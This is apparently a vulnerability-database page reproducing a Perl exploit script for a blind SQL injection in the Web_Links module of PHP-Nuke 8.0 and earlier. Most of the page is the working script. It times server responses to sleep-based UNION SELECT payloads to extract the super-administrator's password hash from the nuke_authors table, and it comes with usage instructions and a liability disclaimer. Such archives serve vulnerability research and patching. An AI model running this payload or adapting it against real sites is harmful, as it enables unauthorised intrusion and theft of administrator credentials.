Lucene search
K

PHP-Nuke <= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

PHP-Nuke 8.0 Web_Links Module SQL Injection Exploi

Code

                                                # PHP-Nuke &#60;= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit
# Author: yawn
# Contact Me: http://www.unitx.net
# E-Mail: [email protected]
# Requirements: magic_quotes_gpc : off
# Greetings: #[email protected] | #[email protected] | Dante90

# 	He had but little gold within his suitcase;
#	But all that he might borrow from a friend
#	On books and learning he would swiftly spend,
# 			       -- Geoffrey Chaucer, The Clerk


use strict;
use warnings;
use LWP::UserAgent;

sub Nuke::Bench {
	my $hosto = $_;
        my $website = LWP::UserAgent-&#62;new;
        my $average = 0;
        print &#34;[+] Calculating average load time (it may take a while) ...\n&#34;;
        for (my $i = 0; $i &#60; 5 ; $i++) {
                my $bef = time();
                my $out = $website-&#62;get($hosto);
                my $time = time();
                $average += int($time-$bef);
        }
        return $average/5;
}

sub Nuke::Usage() {
        print &#34;[+] Usage: perl nuke.pl &#60;host&#62;\n&#34;;
        print &#34;[+]        the host must be the complete path to modules.php\n&#34;;
        print &#34;[+] Example: perl nuke.pl http://www.site.com/modules.php\n&#34;;
}

sub Nuke::Banner() {
        print &#34;[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.0\n&#34;;
        print &#34;[+] I&#39;m not responsable for an illegal use of this exploit\n&#34;;
        print &#34;[+] Date: 06-02-2010\n&#34;;
        print &#34;[+] Author: yawn\n&#34;;
}
Nuke::Banner();
my $host = shift || die Nuke::Usage();
$host .= &#34;?name=Web_Links&l_op=Add&title=WTF&description=WTF&#34;;
my $time = Nuke::Bench($host);
my $attack = LWP::UserAgent-&#62;new;
my $pass = &#34;&#34;;
$attack-&#62;agent(&#39;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)
Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9&#39;);
my @charset  =  (48..57, 97..102);
print &#34;[+] Average load time is $time\n&#34;;
print &#34;[+] Trying to exploit the SQL Injection\n&#34;;

for (my $j = 1; $j &#60;=32; $j++) {
	sleep(3);
	foreach (@charset) {
		sleep(2);
		print &#34;[+] Now trying with $_ \n&#34;;
		my $before = time();
		my $resp = $attack-&#62;post($host,
		{ url =&#62; &#34;&#39;/**/UNION SELECT
IF(SUBSTRING(pwd,$j,1)=CHAR($_),sleep(6),null) FROM nuke_authors WHERE
radminsuper=&#39;1&#34; },
		Referer =&#62; $host);
		my $after = time();
		if(int($after-$before) &#62; ($time + 4)) {
			print &#34;[+] Success with &#34;.chr($_).&#34;\n&#34;;
			$pass .= chr($_);
			last;
		}
	}
}
print &#34;[+] MD5 Hash : $pass\n&#34;;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21